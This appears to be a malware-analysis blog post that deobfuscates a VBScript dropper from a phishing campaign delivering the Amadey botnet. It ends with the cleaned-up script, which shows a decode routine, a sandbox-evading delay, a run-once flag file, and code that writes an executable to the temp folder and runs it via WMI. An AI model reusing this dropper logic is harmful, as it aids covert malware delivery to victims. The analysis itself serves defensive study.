Our neighbors in the Cofense Phishing Defense Center (PDC) recently wrote an article about an interesting phishing email and its associated malware, which can be found here: https://cofense.com/new-phishing-campaign-targets-u-s-taxpayers-dropping-amadey-botnet/
As part of their analysis, they shared an interesting VBscript and I couldn’t resist the urge to deobfuscate it. I was immediately greeted with an eyesore when viewing the VBS in a text editor, there isn’t a newline in sight. So, I rolled my sleeves up, saved the original and got to cleaning this script up.
A quick replace of all colons (:) with a newline (sed, CyberChef, find and replace) cleans it up a bit. But we still have crazy mixed case and long, random function and variable names.
The first thing I like to do is move any long definitions to the top of the script, out of the way. Then move all functions after those long lines, checking whether each function is ever called within the script and deleting the ones that aren’t. This step can be quite slow, but you can quickly see a pattern of junk code injected by an obfuscation tool. Here is one example of a pattern seen throughout this script, 26 times to be exact.
FUNcTioN udhCnVVlvtkcyCZUSassUu() diM CKucdFHfoDEKpPrNtODZyweAHmkYXGpM CKucdFHfoDEKpPrNtODZyweAHmkYXGpM=gOCDhebcxT(Array(c8,i8,s,v,w4,q,a8,h7,r,j9,u3,i8,f7,k,g1,c6,u2,l9,j9,n,j6,x4,c3,l4,a8,c,m8,q1,t3,x9,f7,i7)) ENd FUNcTioN
The point of this step is to clearly separate the function calls and the main loop of the script. After finishing this step, we learn three things: the long array definitions are redefined as new variable names, there are many constant and variable definitions, and only 4 functions are called from the main loop. Those 4 functions are hqfRzXl, YLfxCdSbs, jaiYyNXt, and BBdjQWxkY.
I know that this script uses various obfuscation techniques, so a good next step is to locate and remove any more junk code. I quickly locate IF FALSE THEN code blocks; I can also validate that the constants are used within all of the arrays in the script but the long-named variable definitions are never used. By removing this junk code, we can get closer to determining how the script works.
With the junk code removed let’s walk the program logic. The first function called is hqfRzXl; it calls gOCDhebcxT to obfuscate any strings, grabs the username, and creates a MsgBox that includes the username in the message text. It also calls auKnre, which looks like a convoluted sleep function.
The next function called is YLfxCdSbs, which also calls gOCDhebcxT on any arrays. This function is a basic test case to ensure that the payload is only downloaded once. It achieves this by writing a string to a text file if the file doesn’t exist and exiting the script if the file exists. We will need to determine how the strings are obfuscated before we know what string is written and the full path of the text file.
Then jaiYyNXt is called. The payload is dropped in this function. We’ll need a better understanding of gOCDhebcxT to fully understand this function, but we can see obvious file operations: Open, CopyTo, SaveToFile, and Close. We also see that the file is built from those long arrays at the top of the script file.
Finally, BBdjQWxkY is called and we would expect that it launches the rebuilt payload. Let’s analyze gOCDhebcxT to better understand how it deobfuscates the strings. As I discovered earlier those constant definitions are used within the input arrays to the deobfuscation script. There are 256 constant definitions throughout the script and they are all mapping a random one or two character label to an integer, possibly a character code. So, this decoder function takes those mapped character codes, subtracts 34, and converting it to a character. Now we can create a python function and start cleaning up this script.
At this point I also discovered that letter case does not matter throughout this script and converted everything to lowercase. With the strings decoded and the program logic revealed, we can rename functions and variable names to produce a beautified version of the original script.
function decode(input) i=0 output="" do while i =< ubound(input) output=output+chrw(input(i)-34) i=i+1 loop decode=output end function function sleep() x=670466326 do while y < 5054394 if (y=5054394) then wscript.quit end if if (y=5053785) then x=x+1+34 end if y=y+(2-1) loop if (x=670466326) then sleep end if end function function prompt() t1=now() username=createobject(decode(array(v6,m3,v,g1,j8,f7,u2,i2,c6, c3,u2,x4,r,g1,m8))).username res=msgbox(decode(array(q,j8,v9,c3,u4 ))+username+ decode(array(k3,y1,l5,w5,k3,e1,l5,l5,e4,n4,l5,u4,v,y9,c3,v,m8, c3,w4,a7,u4,q8,r,u4,c,d7,v9,j8,v,j8,r,s,a,u4,d7,v,u2,j8,b1,j8, u2,j6,u4,w4,c3,u2,c3,v,u2,c3,w4,k1,u4)), vbsystemmodal+vbinformation, decode(array(v6,j8,q8,w4,r,x4,a,u4,j9,c3,h7,c3,q8,w4,c3,g1))) t2=now() if datediff(decode(array(a)), t1, t2) < 2 then sleep end if end function function getTempFolder(folderspec) if folderspec=1 then flag=1 else flag=2 end if tempFolder=wscript.createobject("scripting.filesystemobject") .getspecialfolder(flag) getTempFolder=cstr(tempFolder)+”\” end function function checkFlagFile() dim fso set fso=createobject("scripting.filesystemobject") if (fso.fileexists(getTempFolder(2)+"dDnlNaQ”)) then wscript.quit else with fso.createtextfile(getTempFolder(2)+"dDnlNaQ")) .write("Shkhrqwq") .close end with end if end function function buildFile() dim streamOne dim streamTwo set streamOne=createobject("ADODB.Stream") set streamTwo=createobject("ADODB.Stream") streamOne.type=2 streamOne.open() chunks=array(bjuvobz,lcykeqcrdn,tmxscf,gqtluntoh,dgcptunu,deqqvbxbp, ngyyuov,tchwzkvc,kasfrif,orpwoghmiv,etlgiqdnui,ptkrbq,wutfds,clfrrn, ntblbv,sedemuzv,dbzpklyri,rrnywgwg,ekuyrqhso,heztvp,lszmasjlt, zrbjclbz,stbhmy,gghwenge,cefqdfo,lhodpmtba,ldcbheh,axxoikf,fkqosv, embqgwngj,tupyyhi,smrddeo,imhuvwylmx,cwbetdnu,xjwfmou,lmnsaw, ywzuworm,krtzkoxap,cpdaligwn,prhpnvlgki,xivksbxxs,nqnsqxgxwm, hgxbxx,rijfkyvxs,toutpeve,oivvxdzkf,qafxhmy,jhdzrcrms,yagtlxq,ltngccb) for each file in chunks streamOne.writetext decode(file) next streamOne.position=0 streamTwo.type=2 streamTwo.charset="ISO-8859-1" streamTwo.open() streamOne.copyto(streamTwo) streamTwo.savetofile getTempFolder(2)+"ZjOexiPr.exe",2 streamOne.close() streamTwo.close() end function function runFile() set proc=getobject("winmgmts:Win32_Process") proc.create getTempFolder(2)+"ZjOexiPr.exe",null,null,processid end function prompt1 prompt1 checkFlagFile buildFile runFile